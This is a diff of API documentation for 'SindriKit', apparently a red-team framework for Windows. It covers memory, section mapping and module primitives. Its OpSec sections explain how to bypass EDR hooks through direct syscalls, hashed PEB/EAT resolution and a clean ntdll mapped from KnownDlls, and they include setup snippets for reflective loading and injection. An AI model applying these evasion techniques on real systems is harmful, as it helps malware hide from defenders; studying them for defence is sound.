Build the PoC with an **x86** toolchain target (`cmake -A Win32`). See [examples/heavens_gate.md](../../../examples/heavens_gate.md).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## OpSec notes
|
||||||
|
|
||||||
|
- The transition itself is an anomalous control-flow pattern (far jump to CS `0x33`) that EDR may flag.
|
||||||
|
- The PoC allocates shellcode with `VirtualAlloc` for simplicity; production code would use injected memory backends.
|
||||||
|
- Heaven's Gate does **not** replace syscall bootstrapping for `_sys` backends — it solves a different problem (WoW64 bitness), not SSN resolution.
|
||||||
|
|
||||||
|
**Research:** [wow64pp](https://github.com/JustasMasiulis/wow64pp), [WoW64 internals](https://wbenny.github.io/2018/11/04/wow64-internals.html)
|
||||||
|
|||||||
@@ -0,0 +1,35 @@
|
|||||||
|
# Mapping Primitives
|
||||||
|
|
||||||
|
Section mapping: open a named section object, map a view into the current process, close the handle. Used for KnownDlls bootstrapping and file-backed section workflows.
|
||||||
|
|
||||||
|
Backends are injected as `snd_mapping_api_t`. Higher-level helper `snd_om_knowndll_map()` composes mapping callbacks into a KnownDlls workflow (`sindri/primitives/object_manager.h`).
|
||||||
|
|
||||||
|
> [!CAUTION]
|
||||||
|
> **`snd_map_win` limitation:** `OpenFileMappingW` accepts DOS paths or Win32 namespace names only — not `\KnownDlls\...`. Use `snd_map_nt` or `snd_map_sys` for Object Manager paths.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/primitives/mapping.h` | `snd_map_win`, `snd_map_nt`, `snd_map_sys` |
|
||||||
|
| `sindri/primitives/object_manager.h` | `snd_om_knowndll_map` |
|
||||||
|
| `sindri/primitives/os_api.h` | `snd_mapping_api_t` callback typedefs |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Role |
|
||||||
|
|---|---|
|
||||||
|
| `src/primitives/mapping/win.c` | `snd_map_win` |
|
||||||
|
| `src/primitives/mapping/nt.c` | `snd_map_nt` |
|
||||||
|
| `src/primitives/mapping/sys.c` | `snd_map_sys` |
|
||||||
|
| `src/primitives/object_manager/knowndlls.c` | KnownDlls orchestration |
|
||||||
|
|
||||||
|
## Table of Contents
|
||||||
|
|
||||||
|
- [techniques.md](techniques.md) — backend comparison, KnownDlls bootstrap
|
||||||
|
- [api_reference.md](api_reference.md) — `snd_mapping_api_t`, instances, object manager
|
||||||
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Syscalls](../syscalls/README.md) — bootstrap after KnownDlls `ntdll` map
|
||||||
|
- [Primitives domain](../README.md)
|
||||||
@@ -0,0 +1,82 @@
|
|||||||
|
# Mapping: API Reference
|
||||||
|
|
||||||
|
This page documents the section mapping capabilities exported by the framework. All type definitions live in `include/sindri/primitives/os_api.h`; pre-built instances are declared in `include/sindri/primitives/mapping.h`.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Mapping API Instances (`sindri/primitives/mapping.h`)
|
||||||
|
|
||||||
|
Three pre-built instances of the `snd_mapping_api_t` interface are exported globally.
|
||||||
|
|
||||||
|
| Symbol | Backend | Source |
|
||||||
|
|---|---|---|
|
||||||
|
| `snd_map_win` | Win32 API (`OpenFileMappingW`, `MapViewOfFile`, `CloseHandle`) | `src/primitives/mapping/win.c` |
|
||||||
|
| `snd_map_nt` | NT API via PEB + EAT resolution (`NtOpenSection`, `NtMapViewOfSection`, `NtClose`) | `src/primitives/mapping/nt.c` |
|
||||||
|
| `snd_map_sys` | Direct syscalls via SSN resolution + ASM stub | `src/primitives/mapping/sys.c` |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## The Interface (`sindri/primitives/os_api.h`)
|
||||||
|
|
||||||
|
### `snd_mapping_api_t`
|
||||||
|
|
||||||
|
Function pointer table defining the section mapping contract.
|
||||||
|
|
||||||
|
| Field | Signature | Description |
|
||||||
|
|---|---|---|
|
||||||
|
| `open` | `snd_status_t (*)(const wchar_t *section_name, HANDLE *out_handle)` | Opens a named section object with read access |
|
||||||
|
| `view` | `snd_status_t (*)(HANDLE section_handle, PVOID *out_base, SIZE_T *out_size)` | Maps a read-only view into the current process |
|
||||||
|
| `close` | `snd_status_t (*)(HANDLE handle)` | Closes the section handle |
|
||||||
|
|
||||||
|
#### `open`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `section_name` | Section object name. NT backends accept absolute Object Manager paths (e.g. `\KnownDlls\ntdll.dll`). The Win32 backend accepts DOS or Win32 namespace paths only. |
|
||||||
|
| `out_handle` | Receives the opened section handle on success |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_SECTION_OPEN_FAILED` (with OS or NTSTATUS detail), `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `view`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `section_handle` | Handle returned by `open` |
|
||||||
|
| `out_base` | Receives the base address of the mapped view |
|
||||||
|
| `out_size` | Receives the size of the mapped region |
|
||||||
|
|
||||||
|
All backends map with read-only protection (`PAGE_READONLY` / `FILE_MAP_READ`). The Win32 backend derives `out_size` from `VirtualQuery`; NT and syscall backends use the size returned by `NtMapViewOfSection`.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_SECTION_MAP_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `close`
|
||||||
|
|
||||||
|
Closes the section handle. The mapped view remains valid after the handle is closed (standard Windows section semantics).
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_HANDLE_CLOSE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Object Manager Helper (`sindri/primitives/object_manager.h`)
|
||||||
|
|
||||||
|
### `snd_om_knowndll_map`
|
||||||
|
|
||||||
|
Maps a DLL from the `\KnownDlls` (x64) or `\KnownDlls32` (x86) Object Manager directory into the current process.
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_status_t snd_om_knowndll_map(
|
||||||
|
const snd_mapping_api_t *config,
|
||||||
|
const wchar_t *dll_name,
|
||||||
|
PVOID *out_base_address
|
||||||
|
);
|
||||||
|
```
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `config` | Mapping backend to use (`&snd_map_nt` or `&snd_map_sys` for KnownDlls paths) |
|
||||||
|
| `dll_name` | DLL file name only (e.g. `L"ntdll.dll"`) — the helper prepends `SND_TARGET_KNOWNDLLS_DIR` |
|
||||||
|
| `out_base_address` | Receives the base address of the mapped view |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_INVALID_PARAMETER`, `SND_STATUS_NOT_INITIALIZED` (missing function pointers in `config`), `SND_STATUS_SECTION_OPEN_FAILED`, `SND_STATUS_SECTION_MAP_FAILED`
|
||||||
|
|
||||||
|
**Source:** `src/primitives/object_manager/knowndlls.c`
|
||||||
@@ -0,0 +1,69 @@
|
|||||||
|
# Mapping Techniques
|
||||||
|
|
||||||
|
The mapping subdomain exposes section operations through the `snd_mapping_api_t` function pointer table. Like memory and process primitives, the framework never hardcodes `OpenFileMappingW` or `NtOpenSection`; callers inject the desired backend at initialization time.
|
||||||
|
|
||||||
|
## Paradigm 1: Win32 Mapping (`snd_map_win`)
|
||||||
|
|
||||||
|
The `snd_map_win` implementation backs the mapping interface with standard Win32 APIs from `kernel32.dll`:
|
||||||
|
|
||||||
|
- **Open:** `OpenFileMappingW` with `FILE_MAP_READ`
|
||||||
|
- **View:** `MapViewOfFile` followed by `VirtualQuery` to determine the mapped region size
|
||||||
|
- **Close:** `CloseHandle`
|
||||||
|
|
||||||
|
### Path Constraints
|
||||||
|
|
||||||
|
The Win32 subsystem prepends its own namespace to section names. This backend is suitable for conventional named mappings (`Local\...`, `Global\...`) but **must not** be used for absolute NT Object Manager paths such as `\KnownDlls\ntdll.dll`. Those paths require `snd_map_nt` or `snd_map_sys`.
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Every call routes through userland hooks in `kernel32.dll` and `ntdll.dll`. Use this backend only for diagnostics or environments where EDR instrumentation is absent.
|
||||||
|
|
||||||
|
## Paradigm 2: NT API (`snd_map_nt`)
|
||||||
|
|
||||||
|
The `snd_map_nt` implementation resolves `NtOpenSection`, `NtMapViewOfSection`, and `NtClose` from `ntdll.dll` via PEB walking and hash-based Export Address Table (EAT) parsing. No `GetProcAddress` or plaintext API strings are required.
|
||||||
|
|
||||||
|
- **Open:** `NtOpenSection` with `SECTION_MAP_READ` and case-insensitive object attributes
|
||||||
|
- **View:** `NtMapViewOfSection` into `GetCurrentProcess()` with `PAGE_READONLY`
|
||||||
|
- **Close:** `NtClose`
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
This paradigm bypasses `kernel32.dll` but still executes through in-process `ntdll.dll` stubs. Inline EDR hooks on those stubs will still fire. It is the typical choice for KnownDlls bootstrapping when the syscall pipeline is not yet configured.
|
||||||
|
|
||||||
|
## Paradigm 3: Direct Syscalls (`snd_map_sys`)
|
||||||
|
|
||||||
|
The `snd_map_sys` implementation invokes `NtOpenSection`, `NtMapViewOfSection`, and `NtClose` through the framework's syscall resolution pipeline and custom ASM stubs.
|
||||||
|
|
||||||
|
- **Open / View / Close:** Direct syscalls resolved by compile-time function hashes (`SND_HASH_NTOPENSECTION`, etc.)
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
Direct syscalls bypass userland EDR hooks placed inside `ntdll.dll` stubs. This is the preferred backend for stealth KnownDlls mapping once the syscall pipeline is bootstrapped.
|
||||||
|
|
||||||
|
> [!WARNING]
|
||||||
|
> `snd_map_sys` requires the operator to configure the syscall pipeline (`snd_syscall_set_ntdll`, `snd_syscall_strategy_set`, `snd_syscall_strategy_add`) before invocation. Unconfigured pipelines cause immediate resolution failures.
|
||||||
|
|
||||||
|
## KnownDlls Bootstrapping
|
||||||
|
|
||||||
|
The Object Manager helper `snd_om_knowndll_map()` wraps a mapping backend to map a clean system DLL from the `\KnownDlls` (x64) or `\KnownDlls32` (x86) directory:
|
||||||
|
|
||||||
|
```c
|
||||||
|
PVOID clean_ntdll = NULL;
|
||||||
|
snd_status_t status = snd_om_knowndll_map(&snd_map_nt, L"ntdll.dll", &clean_ntdll);
|
||||||
|
if (SND_FAILED(status)) {
|
||||||
|
return status;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Feed the mapped image into the syscall pipeline
|
||||||
|
snd_syscall_set_ntdll(clean_ntdll);
|
||||||
|
snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
```
|
||||||
|
|
||||||
|
The helper builds the full Object Manager path (`SND_TARGET_KNOWNDLLS_DIR` + DLL name), calls `open` and `view`, then closes the section handle. The mapped view remains valid after the handle is closed.
|
||||||
|
|
||||||
|
Typical stealth profile (see `pocs/inject_pe/main.c`):
|
||||||
|
|
||||||
|
1. Map clean `ntdll.dll` from KnownDlls via `snd_map_nt`
|
||||||
|
2. Bootstrap the syscall pipeline with the mapped base
|
||||||
|
3. Switch remaining operations to `_sys` backends (`snd_mem_sys`, `snd_proc_sys`)
|
||||||
@@ -1,12 +1,31 @@
|
|||||||
# Memory Primitives
|
# Memory Primitives
|
||||||
|
|
||||||
This directory documents the paradigms used by the framework to allocate, protect, and free virtual memory within the host process.
|
Local virtual memory management: allocation, protection changes, and deallocation in the current process. All operations route through an injected `snd_memory_api_t` table.
|
||||||
|
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> **OpSec Warning:** Selecting the `snd_mem_win` paradigm actively routes memory allocations through userland EDR hooks. Operators must use `snd_mem_native` for evasive deployments.
|
> **OpSec:** `snd_mem_win` routes through userland hooks in `kernel32` / `ntdll`. Prefer `snd_mem_nt` or `snd_mem_sys` for evasive deployments.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/primitives/memory.h` | Pre-built instances: `snd_mem_win`, `snd_mem_nt`, `snd_mem_sys` |
|
||||||
|
| `sindri/primitives/os_api.h` | `snd_memory_api_t` callback typedefs |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Backend |
|
||||||
|
|---|---|
|
||||||
|
| `src/primitives/memory/win.c` | `snd_mem_win` |
|
||||||
|
| `src/primitives/memory/nt.c` | `snd_mem_nt` |
|
||||||
|
| `src/primitives/memory/sys.c` | `snd_mem_sys` |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [techniques.md](techniques.md)
|
|
||||||
Contrasts the telemetry differences between standard Win32 allocation (`VirtualAlloc`) and Native direct syscalls.
|
- [techniques.md](techniques.md) — Win32 vs NT vs syscall paradigms
|
||||||
- [api_reference.md](api_reference.md)
|
- [api_reference.md](api_reference.md) — `snd_memory_api_t` and instances
|
||||||
Public API documentation detailing the `snd_memory_api_t` interface and its pre-built instances.
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Primitives domain](../README.md)
|
||||||
|
- [Syscalls](../syscalls/README.md) — bootstrap required for `snd_mem_sys`
|
||||||
|
|||||||
@@ -1,17 +1,18 @@
|
|||||||
# Memory: API Reference
|
# Memory: API Reference
|
||||||
|
|
||||||
This page documents the memory capabilities exported by the framework.
|
This page documents the local memory capabilities exported by the framework. Type definitions live in `include/sindri/primitives/os_api.h`; pre-built instances are declared in `include/sindri/primitives/memory.h`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Memory API Instances (`sindri/primitives/memory.h`)
|
## Memory API Instances (`sindri/primitives/memory.h`)
|
||||||
|
|
||||||
Two pre-built instances of the `snd_memory_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mem_api` during loader or injector initialization.
|
Three pre-built instances of the `snd_memory_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mem_api` during loader or injection initialization.
|
||||||
|
|
||||||
| Symbol | Backend Paradigm |
|
| Symbol | Backend | Source |
|
||||||
|---|---|
|
|---|---|---|
|
||||||
| `snd_mem_win` | Standard Win32 API (`VirtualAlloc`, `VirtualProtect`) |
|
| `snd_mem_win` | Win32 API (`VirtualAlloc`, `VirtualProtect`, `VirtualFree`) | `src/primitives/memory/win.c` |
|
||||||
| `snd_mem_native` | Direct Syscalls (`NtAllocateVirtualMemory`, `NtProtectVirtualMemory`) |
|
| `snd_mem_nt` | NT API via PEB + EAT resolution (`NtAllocateVirtualMemory`, etc.) | `src/primitives/memory/nt.c` |
|
||||||
|
| `snd_mem_sys` | Direct syscalls via SSN resolution + ASM stub | `src/primitives/memory/sys.c` |
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -19,10 +20,58 @@ Two pre-built instances of the `snd_memory_api_t` interface are exported globall
|
|||||||
|
|
||||||
### `snd_memory_api_t`
|
### `snd_memory_api_t`
|
||||||
|
|
||||||
The function pointer table defining the memory contract. Operators can implement their own instances of this structure to route memory operations through custom mechanisms (e.g., hypervisors, vulnerable drivers).
|
Function pointer table defining the local memory contract. Operators can implement custom instances to route operations through alternative mechanisms (hypervisors, vulnerable drivers, etc.).
|
||||||
|
|
||||||
| Field | Signature | Description |
|
| Field | Signature | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `alloc` | `snd_status_t (*)(PVOID* base, SIZE_T size, ULONG alloc_type, ULONG protect)` | Allocates virtual memory |
|
| `alloc` | `snd_status_t (*)(LPVOID address, SIZE_T size, DWORD alloc_type, DWORD protect, LPVOID *out_address)` | Allocates virtual memory in the current process |
|
||||||
| `free` | `snd_status_t (*)(PVOID base, SIZE_T size, ULONG free_type)` | Frees virtual memory |
|
| `free` | `snd_status_t (*)(LPVOID address, SIZE_T size, DWORD free_type)` | Frees or decommits virtual memory |
|
||||||
| `protect` | `snd_status_t (*)(PVOID base, SIZE_T size, ULONG new_protect, ULONG* old_protect)` | Modifies page protections |
|
| `protect` | `snd_status_t (*)(LPVOID address, SIZE_T size, DWORD new_protect, DWORD *old_protect)` | Changes page protections |
|
||||||
|
|
||||||
|
#### `alloc`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `address` | Preferred base address, or `NULL` to let the OS choose |
|
||||||
|
| `size` | Number of bytes to allocate |
|
||||||
|
| `alloc_type` | Win32 allocation flags (`MEM_COMMIT`, `MEM_RESERVE`, etc.) |
|
||||||
|
| `protect` | Initial page protection (`PAGE_READWRITE`, `PAGE_EXECUTE_READ`, etc.) |
|
||||||
|
| `out_address` | Receives the allocated base address on success |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_ALLOC_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `free`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `address` | Base address of the region to free |
|
||||||
|
| `size` | Size of the region (`0` when using `MEM_RELEASE`) |
|
||||||
|
| `free_type` | Win32 free flags (`MEM_RELEASE`, `MEM_DECOMMIT`) |
|
||||||
|
|
||||||
|
The NT and syscall backends treat a zero `size` on free as a no-op success.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_VIRTUAL_FREE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `protect`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `address` | Base address of the region |
|
||||||
|
| `size` | Size of the region to reprotect |
|
||||||
|
| `new_protect` | Desired page protection |
|
||||||
|
| `old_protect` | Optional; receives the previous protection on success |
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_PROTECTION_UPDATE_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Dependency Injection
|
||||||
|
|
||||||
|
Memory backends are injected into domain contexts at initialization:
|
||||||
|
|
||||||
|
```c
|
||||||
|
snd_ldr_pe_ctx_t ctx = {0};
|
||||||
|
ctx.mem_api = &snd_mem_sys; // or &snd_mem_nt, &snd_mem_win
|
||||||
|
```
|
||||||
|
|
||||||
|
The loader engine calls `ctx.mem_api->alloc`, `ctx.mem_api->protect`, and `ctx.mem_api->free` throughout the reflective loading pipeline. See [Dependency Injection](../../../architecture/dependency_injection.md) for the full pattern.
|
||||||
|
|||||||
@@ -1,30 +1,58 @@
|
|||||||
# Memory Techniques
|
# Memory Techniques
|
||||||
|
|
||||||
The memory subdomain defines the core paradigms utilized by SindriKit to allocate, protect, and free virtual memory. Because of the framework's strict Dependency Injection architecture, an operation like a reflective loader never hardcodes how memory is acquired; it relies entirely on the `snd_memory_api_t` interface injected during initialization.
|
The memory subdomain defines how SindriKit allocates, protects, and frees virtual memory in the **local** process. Because of the framework's Dependency Injection architecture, a reflective loader or other domain never hardcodes `VirtualAlloc`; it calls `ctx->mem_api->alloc` with whatever backend the operator injected during initialization.
|
||||||
|
|
||||||
## Paradigm 1: Win32 Allocation (`snd_mem_win`)
|
## Paradigm 1: Win32 Allocation (`snd_mem_win`)
|
||||||
|
|
||||||
The `snd_mem_win` implementation backs the `snd_memory_api_t` interface using standard, high-level Win32 functions exported by `kernel32.dll`.
|
The `snd_mem_win` implementation backs the `snd_memory_api_t` interface using standard Win32 functions from `kernel32.dll`:
|
||||||
|
|
||||||
- **Allocation:** `VirtualAlloc`
|
- **Allocation:** `VirtualAlloc`
|
||||||
- **Protection:** `VirtualProtect`
|
- **Protection:** `VirtualProtect`
|
||||||
- **Deallocation:** `VirtualFree`
|
- **Deallocation:** `VirtualFree`
|
||||||
|
|
||||||
### OpSec Implications
|
### OpSec Implications
|
||||||
This paradigm provides maximum stability but generates massive telemetry surface. Every call to `VirtualAlloc` acts as a flare to AV/EDR sensors. The request is routed through `kernel32.dll` down into the userland `ntdll.dll` stub for `NtAllocateVirtualMemory`, directly triggering any inline hooks placed by security products.
|
|
||||||
|
|
||||||
This implementation is intended strictly for diagnostic scenarios, non-evasive toolsets, or environments where EDR instrumentation is known to be absent.
|
This paradigm provides maximum stability but generates significant telemetry. Every call routes through `kernel32.dll` into the userland `ntdll.dll` stub for `NtAllocateVirtualMemory`, triggering inline hooks placed by security products.
|
||||||
|
|
||||||
## Paradigm 2: Direct Syscalls (`snd_mem_native`)
|
Intended for diagnostic scenarios, non-evasive toolsets, or environments where EDR instrumentation is known to be absent.
|
||||||
|
|
||||||
The `snd_mem_native` implementation bypasses `kernel32.dll` and `ntdll.dll` entirely by utilizing the framework's internal Syscall Resolution pipeline.
|
## Paradigm 2: NT API (`snd_mem_nt`)
|
||||||
|
|
||||||
|
The `snd_mem_nt` implementation resolves `NtAllocateVirtualMemory`, `NtFreeVirtualMemory`, and `NtProtectVirtualMemory` by walking the PEB to locate `ntdll.dll` and parsing its Export Address Table via compile-time hashes. Resolved function pointers are invoked directly.
|
||||||
|
|
||||||
|
- **Allocation:** `NtAllocateVirtualMemory` on `GetCurrentProcess()` (handle `-1`)
|
||||||
|
- **Protection:** `NtProtectVirtualMemory`
|
||||||
|
- **Deallocation:** `NtFreeVirtualMemory`
|
||||||
|
|
||||||
|
### OpSec Implications
|
||||||
|
|
||||||
|
This paradigm bypasses `kernel32.dll` and avoids `GetProcAddress` / plaintext API strings. However, calls still execute through in-process `ntdll.dll` stubs; inline EDR hooks on those stubs will still fire.
|
||||||
|
|
||||||
|
## Paradigm 3: Direct Syscalls (`snd_mem_sys`)
|
||||||
|
|
||||||
|
The `snd_mem_sys` implementation bypasses both `kernel32.dll` and hooked `ntdll.dll` stubs by resolving System Service Numbers (SSNs) and executing the `syscall` instruction from custom ASM stubs.
|
||||||
|
|
||||||
- **Allocation:** Direct syscall to `NtAllocateVirtualMemory`
|
- **Allocation:** Direct syscall to `NtAllocateVirtualMemory`
|
||||||
- **Protection:** Direct syscall to `NtProtectVirtualMemory`
|
- **Protection:** Direct syscall to `NtProtectVirtualMemory`
|
||||||
- **Deallocation:** Direct syscall to `NtFreeVirtualMemory`
|
- **Deallocation:** Direct syscall to `NtFreeVirtualMemory`
|
||||||
|
|
||||||
|
Local operations use `(HANDLE)-1` as the process handle, matching the NT convention for the current process.
|
||||||
|
|
||||||
### OpSec Implications
|
### OpSec Implications
|
||||||
By executing the `syscall` instruction directly, the implant cleanly bypasses userland EDR hooks placed inside the `ntdll.dll` stubs. The kernel receives the memory request without userland telemetry sensors ever recording the event.
|
|
||||||
|
Direct syscalls bypass userland EDR hooks inside `ntdll.dll` stubs. The kernel receives memory requests without userland telemetry sensors recording the API transition.
|
||||||
|
|
||||||
> [!WARNING]
|
> [!WARNING]
|
||||||
> `snd_mem_native` requires the operator to manually configure the syscall pipeline (via `snd_set_syscall_strategy` and `snd_set_ntdll`) prior to invocation. If the pipeline is not bootstrapped, the native memory calls will immediately fail.
|
> `snd_mem_sys` requires the operator to bootstrap the syscall pipeline before invocation:
|
||||||
|
>
|
||||||
|
> ```c
|
||||||
|
> snd_syscall_set_ntdll(clean_ntdll_base);
|
||||||
|
> snd_syscall_strategy_set(snd_syscall_resolve_ssn_scan);
|
||||||
|
> snd_syscall_strategy_add(snd_syscall_resolve_ssn_sort);
|
||||||
|
> ```
|
||||||
|
>
|
||||||
|
> If the pipeline is not configured, syscall resolution fails immediately and all `_sys` memory calls return an error.
|
||||||
|
|
||||||
|
## Mixing Backends
|
||||||
|
|
||||||
|
Backends are composable across domains. A common stealth loader profile injects `snd_mem_sys` for allocations while using `snd_mod_nt` for import resolution — see `pocs/inject_pe/main.c`. Local NT-only loading without direct syscalls uses `snd_mem_nt` + `snd_mod_nt` as in `pocs/loader_nowinapi/main.c`.
|
||||||
|
|||||||
@@ -1,9 +1,30 @@
|
|||||||
# Module Primitives
|
# Module Primitives
|
||||||
|
|
||||||
This directory covers techniques for resolving loaded module base addresses and extracting exported functions without relying on highly-monitored OS APIs.
|
DLL loading and symbol resolution in the **local** process. Operations route through an injected `snd_module_api_t` table with string-based and hash-based resolution.
|
||||||
|
|
||||||
|
There is **no** `snd_mod_sys` backend — import resolution uses PEB walking and EAT parsing (`snd_mod_nt`) even when memory and process ops use direct syscalls.
|
||||||
|
|
||||||
|
## Header map
|
||||||
|
|
||||||
|
| Header | Role |
|
||||||
|
|---|---|
|
||||||
|
| `sindri/primitives/modules.h` | `snd_mod_win`, `snd_mod_nt` |
|
||||||
|
| `sindri/primitives/os_api.h` | `snd_module_api_t` callback typedefs |
|
||||||
|
|
||||||
|
## Source map
|
||||||
|
|
||||||
|
| Source | Backend |
|
||||||
|
|---|---|
|
||||||
|
| `src/primitives/modules/win.c` | `snd_mod_win` |
|
||||||
|
| `src/primitives/modules/nt.c` | `snd_mod_nt` |
|
||||||
|
|
||||||
## Table of Contents
|
## Table of Contents
|
||||||
- [peb_walking.md](peb_walking.md)
|
|
||||||
Explains how to manually traverse the `PEB->Ldr` lists to locate DLLs in memory.
|
- [techniques.md](techniques.md) — Win32 vs NT resolution, hash-based lookup
|
||||||
- [api_reference.md](api_reference.md)
|
- [api_reference.md](api_reference.md) — `snd_module_api_t` and instances
|
||||||
Public API documentation for PEB walking functions and the `snd_module_api_t` interface.
|
|
||||||
|
## Related documentation
|
||||||
|
|
||||||
|
- [Parsers: env](../../../parsers/env/README.md) — PEB module walking
|
||||||
|
- [Parsers: PE exports](../../../parsers/pe/README.md) — EAT resolution
|
||||||
|
- [Primitives domain](../README.md)
|
||||||
|
|||||||
@@ -1,17 +1,20 @@
|
|||||||
# Modules: API Reference
|
# Modules: API Reference
|
||||||
|
|
||||||
This page documents the module capabilities exported by the framework.
|
This page documents the module and import resolution capabilities exported by the framework. Type definitions live in `include/sindri/primitives/os_api.h`; pre-built instances are declared in `include/sindri/primitives/modules.h`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Module API Instances (`sindri/primitives/modules.h`)
|
## Module API Instances (`sindri/primitives/modules.h`)
|
||||||
|
|
||||||
Two pre-built instances of the `snd_module_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mod_api` during loader or injector initialization.
|
Two pre-built instances of the `snd_module_api_t` interface are exported globally. These pointers are typically assigned to `ctx.mod_api` during loader initialization.
|
||||||
|
|
||||||
| Symbol | Backend Paradigm |
|
| Symbol | Backend | Source |
|
||||||
|---|---|
|
|---|---|---|
|
||||||
| `snd_mod_win` | `LoadLibraryA` / `GetProcAddress` / `GetModuleHandleW` |
|
| `snd_mod_win` | `LoadLibraryExA` / `GetProcAddress` / `GetModuleHandleW` | `src/primitives/modules/win.c` |
|
||||||
| `snd_mod_native` | PEB walking (`snd_peb_get_module_base_by_hash`) + hash-based export resolution (`snd_pe_get_export_address_by_hash`) |
|
| `snd_mod_nt` | PEB walking + hash-based EAT resolution (`LdrLoadDll`, `snd_pe_get_export_address*`) | `src/primitives/modules/nt.c` |
|
||||||
|
|
||||||
|
> [!NOTE]
|
||||||
|
> Only `snd_mod_nt` populates the hash-based callbacks. On `snd_mod_win`, `get_proc_address_hash` and `get_module_base_hash` are `NULL`.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
@@ -19,40 +22,71 @@ Two pre-built instances of the `snd_module_api_t` interface are exported globall
|
|||||||
|
|
||||||
### `snd_module_api_t`
|
### `snd_module_api_t`
|
||||||
|
|
||||||
The function pointer table defining the module and import contract.
|
Function pointer table defining the module and import resolution contract.
|
||||||
|
|
||||||
| Field | Signature | Description |
|
| Field | Signature | Description |
|
||||||
|---|---|---|
|
|---|---|---|
|
||||||
| `load_library` | `snd_status_t (*)(const char* module_name, PVOID* base)` | Loads or resolves a module into the process |
|
| `load_library` | `snd_status_t (*)(const char *module_name, HMODULE *out_module)` | Loads or resolves a module into the process |
|
||||||
| `get_proc_address` | `snd_status_t (*)(PVOID base, const char* func_name, PVOID* func_addr)` | Resolves an exported symbol by name |
|
| `get_proc_address` | `snd_status_t (*)(HMODULE hModule, const char *proc_name, FARPROC *out_proc)` | Resolves an exported symbol by name |
|
||||||
| `get_module_base` | `snd_status_t (*)(const wchar_t* module_name, PVOID* base)` | Retrieves the base address of a loaded module |
|
| `get_module_base` | `snd_status_t (*)(const wchar_t *module_name, PVOID *out_base)` | Retrieves the base address of an already-loaded module |
|
||||||
|
| `get_proc_address_hash` | `snd_status_t (*)(HMODULE hModule, DWORD proc_hash, FARPROC *out_proc)` | Hash-based export resolution |
|
||||||
|
| `get_module_base_hash` | `snd_status_t (*)(DWORD module_hash, PVOID *out_base)` | Hash-based module lookup via PEB walk |
|
||||||
|
|
||||||
|
#### `load_library`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `module_name` | ASCII DLL name (e.g. `"kernel32.dll"`) |
|
||||||
|
| `out_module` | Receives the module handle / base address on success |
|
||||||
|
|
||||||
|
On `snd_mod_nt`, the backend first checks whether the module is already loaded via PEB walk before calling `LdrLoadDll`.
|
||||||
|
|
||||||
|
**Status codes:** `SND_STATUS_IMPORT_DLL_LOAD_FAILED`, `SND_STATUS_INVALID_PARAMETER`
|
||||||
|
|
||||||
|
#### `get_proc_address` / `get_proc_address_hash`
|
||||||
|
|
||||||
|
| Parameter | Description |
|
||||||
|
|---|---|
|
||||||
|
| `hModule` | Module base address |
|
||||||
|
| `proc_name` / `proc_hash` | Export name or compile-time hash (`sindri_hashes.h`) |
|
||||||
|
| `out_proc` | Receives the resolved function pointer |
|
||||||
|
|
||||||
|
